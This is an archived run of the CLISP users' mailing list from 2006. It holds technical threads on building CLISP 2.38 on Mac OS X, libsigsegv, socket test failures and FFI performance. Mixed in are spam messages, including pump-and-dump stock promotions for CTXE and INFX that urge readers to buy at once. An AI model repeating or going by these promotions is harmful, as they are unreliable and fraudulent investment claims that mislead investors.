1Fk2gP-0006to-RZ for clisp-list@lists.sourceforge.net; Sat, 27 May 2006 10:34:39 -0700 Received: from localhost.localdomain (Jqju69.mail3world.com [209.88.189.57]) by 209.88.189.57 (Postfix) with SMTP id 7sywohkhtp3o for ; Sat, 27 May 2006 13:34:29 -0400 Date: Sat, 27 May 2006 13:34:29 -0400 From: "yekpbmg eowktcwa" To: Content-return: allowed X-Mailer: phpmailer [version 1.41] X-Trailer: PHP Data URLENCODED 7 X-Authentication-Warning: localhost.localdomain: apache set sender to vhtvwo@breault.com using -f X-Virus-Scanned: amavisd-new at mail2world.com Mime-Version: 1.0 Content-Type: text/plain Message-Id: <95614884871647.13118yx42l@mOczhpHwtPu> X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] [Re] Watch this stck go on CTXE X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 27 May 2006 17:34:39 -0000 CTXE***CTXE***CTXE***CTXE***CTXE***CTXE***CTXE Get CTXE First Thing Today, Check out for HOT NEWS!!! CTXE - CANTEX ENERGY CORP CURRENT_PRICE: $0.53 GET IT N0W! Before we start with the profile of CTXE we would like to mention something very important: There is a Big PR Campaign starting this weeek . And it will go all week so it would be best to get in NOW. Company Profile Cantex Energy Corporation is an independent, managed risk, oil and gas exploration, development, and production company headquartered in San Antonio, Texas. Recent News Cantex Energy Corp. Announces Completion of the GPS Survey Today and the Mobilization of Seismic Crews for Big Canyon 2D Swath, Management would like to report The GPS surveying of our Big Canyon 2D Swath Geophysical program is being completed today. The crew that has been obtained to conduct the seismic survey (Quantum Geophysical) will be mobilizing May 30 (plus or minus 2 days) to the Big Canyon Prospect. It will take the crews about 3 to 4 days to get all the equipment (cable and geophones) laid out on the ground and then another day of testing so we should be in full production mode on or around the 4th or 5th of June. Once the first of three lines are shot we will then get data processed and report progress on a weekly basis. Cantex Energy Corp. Receiving Interest From the Industry as It Enters Next Phase of Development Cantex Energy Corp. (CTXE - News) is pleased to report the following on its Big Canyon Prospect in West Texas. Recent company announcements related to the acquisition of over 48,000 acres of a world-class prospect has captured the attention of many oil & gas industry experts and corporations, who have recently inquired into various participation opportunities ranging from sharing science technology to support findings or expertise to drill, operate and manage wells. Trace Maurin, President of Cantex, commented, "Although we are a small independent oil & gas company, we have a very unique 0pp0rtunity in one of the last under-explored world-class potential gas plays with no geopolitical risks and the industry is starting to take notice. As we prepare to prove up the various structures within our prospect later this month, we are increasing our efforts to communicate on our progress to our shareholders and investors. Our intention is to provide investors with a better understanding of the full potential of this prospect as we embark on the next phase of operations." Starting immediately the company will undertake CEO interviews, radio spots (which will be recorded and published on the company website), publication placements, introductions to small cap institutional investors and funds all in an effort to optimize market awareness and keep our shareholder well informed. GET IN NOW Happy memorial day Up a tree. Still water runs dirty and deep. Sow dry and set wet. The scum of the earth. Stone cold sober. Which came first, the chicken or the egg. When pigs fly. That's water under the bridge. A stepping stone to. Speak softly and carry a big stick. The shoes on the other foot now. Spring forward fall back. So hungry I could eat a horse. Up a tree. Survival of the fittest. To live from hand to mouth. She's the apple of my eye. That's water under the bridge. Stir up an ant's nest. Shit happens. Spring rain, Fall gold. From don-sourceforge-xx@isis.cs3-inc.com Mon May 29 14:29:28 2006 Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.7] helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fkp9D-0007nv-3C for clisp-list@lists.sourceforge.net; Mon, 29 May 2006 14:19:35 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FkoJz-0005KV-Uu for clisp-list@lists.sourceforge.net; Mon, 29 May 2006 13:26:39 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fknb1-0006zw-JP for clisp-list@lists.sourceforge.net; Mon, 29 May 2006 12:40:16 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 8B9781A818F; Mon, 29 May 2006 12:40:10 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17531.19994.512041.634991@isis.cs3-inc.com> Date: Mon, 29 May 2006 12:40:10 -0700 To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] clisp 2.38 on mac X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 29 May 2006 21:29:28 -0000 I try to summarize some of the problems encountered trying to build clisp 2.38 on Mac Fred Cohen writes: > Configure findings: > FFI: yes (user requested: default) > readline: no (user requested: default) > libsigsegv: no, consider installing GNU libsigsegv > ./configure: libsigsegv was not detected, thus some features, such as > generational garbage collection and > stack overflow detection in interpreted Lisp code > cannot be provided. > Please do this: > mkdir tools; cd tools; prefix=`pwd`/powerpc-apple-darwin8.6.0 > wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz > tar xfz libsigsegv-2.2.tar.gz ... BTW, I think it would be really nice to include libsigsegv with clisp, or at least (semi?) automate its retrieval. I think just below is the result of trying to follow directions from just above: > make TARGETSTACK=" all" all-recursive > Making all in src > /bin/sh ../libtool --tag=CC --mode=compile gcc -DHAVE_CONFIG_H -I. - > I. -I.. -I. -I. -g -O2 -c -o handler.lo handler.c > gcc -DHAVE_CONFIG_H -I. -I. -I.. -I. -I. -g -O2 -c handler.c -o > handler.o > In file included from handler-macos.c:19, > from handler.c:20: > sigsegv.h:84: error: parse error before '*' token > sigsegv.h:84: warning: data definition has no type or storage class > sigsegv.h:93: error: parse error before 'stackoverflow_context_t' > make[2]: *** [handler.lo] Error 1 > make[1]: *** [all-recursive] Error 1 > make: *** [all] Error 2 I noticed at http://libsigsegv.sourceforge.net/ that there's now 2.3, and that seems to build on mac. Perhaps the directions should suggest 2.3 instead of 2.2. > PASS: stackoverflow2 > ================== > All 4 tests passed > ================== > > Please send the following summary line via email to the author > Bruno Haible for inclusion into the list of > successfully tested platforms (see PORTING file). Please also > send the config.log file; this will help improving portability > of the package. > > libsigsegv: powerpc-apple-darwin8.6.0 | yes | yes | 2.3 I hope this will suffice as the first requested report. If this is really new info and the log file is useful I can try to get it. > Then please type 'make install' to install the package. should say "as root", of course After install of libsigsegv 2.3: > Configure findings: > FFI: yes (user requested: default) > readline: no (user requested: default) > libsigsegv: no, consider installing GNU libsigsegv > ./configure: libsigsegv was not detected, thus some features, such as > generational garbage collection and > stack overflow detection in interpreted Lisp code > cannot be provided. ... Even though > > find /usr/local -name "*sigsev*" > /usr/local/include/sigsegv.h > /usr/local/lib/libsigsegv.a > /usr/local/lib/libsigsegv.la > > find /sw -name "*readline*" > /sw//lib/clisp/base/libnoreadline.a > /sw//lib/clisp/full/libnoreadline.a Fred Cohen writes: > I think there is a problem with making things clean... all of those > cached values in the configure may have been the problem. I > regenerated a lisp directory from the tar file and did a new run and > it seems to have now found the new libsigsev... working on it. so something else to be fixed Fred Cohen writes: > RUN-TEST: finished "excepsit" (0 errors out of 372 tests) > finished 49 files: 32 errors out of 10,596 tests ... > 33 socket: 32 errors out of 60 tests > Fred Cohen writes: > Form: (DEFPARAMETER *SERVER* (SOCKET-SERVER)) > CORRECT: *SERVER* > CLISP : ERROR > UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address ... > As root or not... > [1]> (socket-server 12345) > > *** - UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address > The following restarts are available: > ABORT :R1 ABORT > Break 1 [2]> so consider that another bug report. He's currently trying to figure out how to make rawsock stuff work. If anyone has experience with Mac using raw sockets, advice would be appreciated. Current questions include - what configdev can do and what arguments to make it do those things - how to make an interface promiscuous - what arguments to pass to socket From Joerg-Cyril.Hoehle@t-systems.com Tue May 30 03:37:03 2006 Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.7] helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fl1ax-0001l4-EM for clisp-list@lists.sourceforge.net; Tue, 30 May 2006 03:37:03 -0700 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fl1aq-0004FI-Dh for clisp-list@lists.sourceforge.net; Tue, 30 May 2006 03:36:56 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fl1ao-0006Es-W0 for clisp-list@lists.sourceforge.net; Tue, 30 May 2006 03:36:56 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 30 May 2006 12:36:37 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 30 May 2006 12:36:37 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Date: Tue, 30 May 2006 12:36:29 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: don-sourceforge-xx@isis.cs3-inc.com Subject: Re: [clisp-list] clisp 2.38 on mac X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 30 May 2006 10:37:03 -0000 Don Cohen writes: >I try to summarize some of the problems encountered trying to build >clisp 2.38 on Mac. Fred Cohen writes: > > RUN-TEST: finished "excepsit" (0 errors out of 372 tests) > > 33 socket: 32 errors out of 60 tests I'm surprised because I was convinced that you participated in mailing list discussions in January (here and/or in clisp-devel). Thus I'd thought you know that CVS past 2.38 contains important MacOS fixes in the area you mention. The above looks exactly like one of the fixed bugs. >Perhaps the directions should suggest 2.3 instead of 2.2. Sam Steingold already did this for CVS immediately after 2.3 was announced. For the other things you mention (e.g. configure/cache), I believe you're correct. I'm sorry if you have trouble accessing CVS. I also understand when people prefer to try out releases instead of being directed to CVS trees. I feel like that about SLIME. >If anyone has experience with Mac using raw sockets, advice would >be appreciated. Current questions include >- what configdev can do and what arguments to make it do those things >- how to make an interface promiscuous >- what arguments to pass to socket Regards, Jorg Hohle. From don-sourceforge-xx@isis.cs3-inc.com Tue May 30 07:31:24 2006 Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.7] helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fl5Fk-0006fK-LA for clisp-list@lists.sourceforge.net; Tue, 30 May 2006 07:31:24 -0700 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fl5Fk-0000lT-CG for clisp-list@lists.sourceforge.net; Tue, 30 May 2006 07:31:24 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fl5Fe-0002FN-OI for clisp-list@lists.sourceforge.net; Tue, 30 May 2006 07:31:23 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 935C11A818F; Tue, 30 May 2006 07:31:13 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17532.22321.536057.854976@isis.cs3-inc.com> Date: Tue, 30 May 2006 07:31:13 -0700 To: "Hoehle, Joerg-Cyril" In-Reply-To: References: X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp 2.38 on mac X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 30 May 2006 14:31:24 -0000 Hoehle, Joerg-Cyril writes: > Don Cohen writes: > > > 33 socket: 32 errors out of 60 tests > I'm surprised because I was convinced that you participated in > mailing list discussions in January (here and/or in clisp-devel). > Thus I'd thought you know that CVS past 2.38 contains important > MacOS fixes in the area you mention. The above looks exactly like > one of the fixed bugs. I have generally not followed MacOS issues. I did know about another issue with socket-server affecting linux, but that didn't result in an error when just calling with no arguments, and didn't result in failure of the tests. Now that I have a Mac available (temporarily) this all seems more relevant. I failed to find any recent binary distribution and hoped I could get one from Fred. What's the best way to get one? If he (or I) build from CVS then does it make sense to offer the result for public distribution? Certainly not as "2.38". Perhaps as 2.38- ? And then perhaps with an additional entry in NEWS describing notable differences between it and 2.38. I think I did see a message from Fred to the list asking what to do with a distribution, but I don't recall seeing an answer. Could it be put at one (or more) of those sites linked from http://clisp.sourceforge.net/ ? One more question. It seems to me that I've had trouble with distributions that use libsigsegv on machines that don't have it. Is there a way to build clisp or distribute it so that this is less problematic? > For the other things you mention (e.g. configure/cache), I believe > you're correct. Does anyone have some idea how to fix that? I suppose I could try to debug it if I tried to build from CVS. From travelchargers@marvolpromo.com Wed May 31 15:58:13 2006 Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.7] helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FlZdl-00036D-EZ for clisp-list@lists.sourceforge.net; Wed, 31 May 2006 15:58:13 -0700 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FlZdj-0007vt-Mm for clisp-list@lists.sourceforge.net; Wed, 31 May 2006 15:58:11 -0700 Received: from mail.marvolpromo.com ([72.245.206.145]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FlZdh-0003dr-96 for clisp-list@lists.sourceforge.net; Wed, 31 May 2006 15:58:11 -0700 Received: from cpt-web [72.245.206.180] by mail.marvolpromo.com with ESMTP (SMTPD32-8.15) id AF7620026A; Wed, 31 May 2006 18:57:58 -0400 From: "ORIGINAL TRAVEL CHARGERS FROM MARVOL" To: clisp-list@lists.sourceforge.net Content-Type: text/plain Date: Wed, 31 May 2006 18:57:50 -0400 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2869 Message-Id: <200605311857484.SM04056@cpt-web> X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.5 SUBJ_ALL_CAPS Subject is all capitals -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.6 REMOVE_PAGE URI: URL of page called "remove" Subject: [clisp-list] ORIGINAL TRAVEL CHARGERS FROM MARVOL X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 31 May 2006 22:58:13 -0000 Motorola V300/V600 Travel Charger SPN5037 US$2.55 Motorola V180/V220 Travel Charger SPN5093 US$1.65 Motorola V3 Travel Charger SPN5185 US$3.75 Nokia Travel Charger ACP-12U US$1.20 Nokia Travel Charger ACP-12U (A - Stock) US$0.90 Samsung Travel Charger TAD037JBE US$0.95 Samsung Travel Charger TAD137JSE US$1.30 Sonyericsson Travel Charger CST-13 US$1.20 All Parts are brand new. If you do not see any part or accessory you are looking for, please do not hesitate to contact us. We might have what you need in inventory. Best Regards, Marvol USA Corp. 245 S. E. 1st Street #329 Miami, Fl 33131 www.marvol.com marvol@marvol.com Ph:+1 305-358-4305 Fax:+1 305-358-9759 If you do not want to receive our Newsletter, please go to to remove your address from our database. From qskbzwxke@swi.galileo.com Thu Jun 01 04:36:52 2006 Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.7] helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FllTw-0004Dg-5F for clisp-list@lists.sourceforge.net; Thu, 01 Jun 2006 04:36:52 -0700 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FllTk-0008Lx-7Y for clisp-list@lists.sourceforge.net; Thu, 01 Jun 2006 04:36:40 -0700 Received: from [218.10.128.110] (helo=swi.galileo.com) by mail.sourceforge.net with smtp (Exim 4.44) id 1FlkoR-0005uk-TI for clisp-list@lists.sourceforge.net; Thu, 01 Jun 2006 03:54:05 -0700 Received: (qmail 26993 invoked from network); Thu, 01 Jun 2006 18:53:39 +0800 Received: from unknown (HELO service2.colo.trueswitch.com) ([192.168.0.60]) (envelope-sender qskbzwxke@swi.galileo.com) by mail.trueswitch.com (qmail-ldap-1.03) with SMTP for ; Thu, 01 Jun 2006 18:53:39 +0800 Message-ID: <72855192.0043532783811.JavaMail.vmail@service2.colo.swi.galileo.com> Date: Thu, 01 Jun 2006 18:53:39 +0800 (EDT) From: "vdajhaul mxqczqdih" To: Mime-Version: 1.0 Content-Type: text/plain X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 INVEST_WATCH_THIS BODY: Tells you to watch this stock. 1.5 INVEST_WATCH_HAWK BODY: Tells you to watch this one like a hawk. Subject: [clisp-list] (fwd) no compromise INFX X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: qskbzwxke@swi.galileo.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 01 Jun 2006 11:36:52 -0000 INFX**INFX**INFX**INFX**INFX**INFX**INFX**INFX** Infinex Ventures Inc. (INFX) Current Price: $0.52 The Rally has begun Watch this one like a hawk, this report is sent because the potential is incredible This is AS sure as it gets H U G E N E W S read below COMPANY OVERVIEW Aggressive and energetic, Infinex boasts a dynamic and diversified portfolio of operations across North America, with an eye on international expansion. Grounded in natural resource exploration, Inifinex also offers investors access to exciting new developments in the high-tech sector and the booming international real estate market. Our market based experience, tenacious research techniques, and razor sharp analytical skills allow us to leverage opportunities in emerging markets and developing technologies. Identifying these opportunities in the earliest stages allows us to accelerate business development and fully realize the company’s true potential. Maximizing overall profitability and in turn enhancing shareholder value. Current Press Release Infinex Announces Extension to Its Agreement in Chile LAS VEGAS, NV, May 9 /PRNewswire-FirstCall/ - Infinex Ventures Inc. (INFX:OB - News; "the Company") and its Board of Directors are pleased to announce that the Company has received an extension (90 days) to its Agreement for the due diligence period, in an effort to fully verify the offered title and all additional documentation, including but not limited to, Trial C-1912- 2001 at the 14th Civil Court of Santiago and Criminal Trial 1160-2002 at the 19th Court of Crime of Santiago of Chile, Ministry of Mines of Chile over its sole and exclusive right to acquire a 50% interest in the Tesoro 1-12 Mining Claims. Infinex Announces Joint Venture and Option Agreement Extension LAS VEGAS, May 5 /PRNewswire-FirstCall/ - Infinex Ventures Inc. (INFX:OB - "the Company") and its Board of Directors are please to announce that the Company has been granted an extension of 120 days to fulfill its contractual obligations under the Joint Venture and Option Agreement dated June 14, 2004 on the Texada Island "Yew Gr0up" Mining Claims: This is for the birds. Water under the bridge. A snail's pace. Timber! Run to seed. Your in hot water. Seed money. She's a nut. Say it with flowers. Treat him like dirt. Spring to mind. She's a mother hen. Welcome to my garden. Rain, rain go away; come again some other day. Spring rain, Fall gold. Plain as water. Speak softly and carry a big stick. When the cows come home. Spill the beans. Read the tea leaves. When the cows come home. Useless as tits on bull. She's a mother hen. Through the grapevine. The scythe ran into a stone. Ugly as a mud fence. Play a harp before a cow. The silly season. From perpetualstranger-clisp@yahoo.com Wed May 31 22:14:22 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FlfVm-0003BT-3c for clisp-list@lists.sourceforge.net; Wed, 31 May 2006 22:14:22 -0700 Received: from web81205.mail.mud.yahoo.com ([68.142.199.109]) by mail.sourceforge.net with smtp (Exim 4.44) id 1FlfVj-0008P3-KD for clisp-list@lists.sourceforge.net; Wed, 31 May 2006 22:14:22 -0700 Received: (qmail 69158 invoked by uid 60001); 1 Jun 2006 05:14:14 -0000 Message-ID: <20060601051414.69156.qmail@web81205.mail.mud.yahoo.com> Received: from [70.132.49.253] by web81205.mail.mud.yahoo.com via HTTP; Wed, 31 May 2006 22:14:14 PDT Date: Wed, 31 May 2006 22:14:14 -0700 (PDT) From: Will To: clisp-list@lists.sourceforge.net In-Reply-To: <17524.30049.935194.361442@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers X-Mailman-Approved-At: Thu, 01 Jun 2006 06:41:44 -0700 Subject: Re: [clisp-list] Accessing C structures w/ FFI X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: perpetualstranger-clisp@yahoo.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 01 Jun 2006 05:14:22 -0000 I would love to do that, but the nature of the application won't allow any more separation. The C code that I'm calling references a user-specified, compiled function. As far as I'm aware, Lisp is the snappiest language that lets me compile functions without calling an external program (e.g., gcc). Of the free Lisp implementations, Clisp seems to have the best support for call-ins from C. Unfortunately, there seems to be no Lisp alternative for the C code that I need to use. CVODES solves systems of ODEs and performs two types of sensitivity analysis. Nevertheless, I think the real issue here is the FFI's speed in accessing C data. The most direct method of access results in a substantial performance hit, even compared to a C function call. It's not just the number of nested Lisp functions that I have to go through either. The FFI:slot function is itself unexpectedly slow. Best, Will --- Pascal Bourguignon wrote: > Will writes: > > [...] It may seem picky to be > > concerned about 1/1000th of a second, but in some > > cases this operation will be called a few thousand > > times, if not more, while a user waits to see the > > response. > > Perhaps you should separate more the C from the > lisp. Have a smaller > interface! Leave the C data being accessed by the C > code, and the > lisp data being acceed by the lisp code, and don't > try to cross the > border so often. > > -- > __Pascal Bourguignon__ > http://www.informatimago.com/ From Joerg-Cyril.Hoehle@t-systems.com Thu Jun 01 07:35:33 2006 Received: from sc8-sf-list1-b.sourceforge.net ([10.3.1.7] helo=sc8-sf-list1.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FloGr-0003nS-4C for clisp-list@lists.sourceforge.net; Thu, 01 Jun 2006 07:35:33 -0700 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FloGm-00058Z-Sx for clisp-list@lists.sourceforge.net; Thu, 01 Jun 2006 07:35:28 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FloGm-0008Ub-CZ for clisp-list@lists.sourceforge.net; Thu, 01 Jun 2006 07:35:28 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Thu, 1 Jun 2006 16:35:04 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 1 Jun 2006 16:35:04 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Date: Thu, 1 Jun 2006 16:34:56 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 X-Mailman-Approved-At: Fri, 02 Jun 2006 08:16:12 -0700 Cc: sds@podval.org Subject: [clisp-list] sourceforge mailing list settings X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 01 Jun 2006 14:35:33 -0000 Hi, Sourceforge has updated the Mailman software it uses for all its mailing list. It seems that various settings got lost in this transition. 1) clisp-list delivered some spam (or more spam than usual), and 2) I received a lot of bounce messages, even from people I remember being on the mailing list, e.g. Thibault Langlois, or Kaz Kylheku [kaz@ashi.footprints.net]. The two could be related, if the receiving mail exchange recognized the spam and refused to deliver the message, as the following responses may mean: : host grizzly.merc.mercer.edu[63.103.169.12] said: 550 Denied by policy. (in reply to end of DATA command) : host ip-68-178-144-61.ip.secureserver.net[68.178.144.61] said: 550 Illegal subject line #2. (in reply to end of DATA command) It would be annoying if spam would cause auto-disable of message delivery to regular users of sourceforge lists. I apologize for any spam we receive via the clisp mailing list. I'll try to restore settings and hope Sourceforge will find a reasonable behaviour for its mailing lists. Sam Steingold wrote: >it's not just Sourceforge's spam filter. >I assembled a lot of my own filtering rules for clisp-list, you can >review and enhance them. It looks like those disappeared in the transition... The address ban list is empty in the privacy options page. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Fri Jun 02 08:46:34 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FmBqz-0003kK-Hs for clisp-list@lists.sourceforge.net; Fri, 02 Jun 2006 08:46:27 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FmBqx-0002ji-VZ for clisp-list@lists.sourceforge.net; Fri, 02 Jun 2006 08:46:25 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Fri, 2 Jun 2006 17:46:09 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 2 Jun 2006 17:46:09 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Date: Fri, 2 Jun 2006 17:45:56 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: perpetualstranger-clisp@yahoo.com Subject: Re: [clisp-list] Accessing C structures w/ FFI X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 02 Jun 2006 15:46:37 -0000 Will wrote: >and also the exceptionally messy array accessor >(setf (element (deref (cast (slot sys_var 'vals)=20 > '(c-ptr (c-array double-float (slot sys_var >'n))))) 0) 10d0) Indeed, it looks weird. Would you like to explain and show more of = what you want to achieve so that maybe people here can help you? >The most direct method of access results in a substantial >performance hit, ... The FFI:slot function is itself >unexpectedly slow. One thing to know is the following: chains of deref + cast + element + = slot are slow but often unnecessary. Don't call them in a loop! Instead, you perform constant folding by hand and hold a place to the = array. Inside the loop, you use a single ffi:ELEMENT. >I then compared the speed of these to indirect access >of the memory through foreign C functions. I found >that (slot sys_var 'n) was substantially slower than >calling a C function that returns or sets the value of >sys_var.n on the other side. It's hard to believe that foreign function calling is faster than a = single usage of ffi:element, ffi:slot etc. The conversion routines are = exactly the same. Don't do (dotimes (i #) (setf (element (deref (slot x 'foo)) i) #)) Use the following pattern instead: (with-c-var (a (deref (slot x 'foo))) ; deref all the constant path (dotimes (i #) (setf (element a i) #)) >My program requires a sizable amount of interaction >between Lisp and C through this data structure, but >copying the entire object back and forth each time >seems too extreme. Do you need 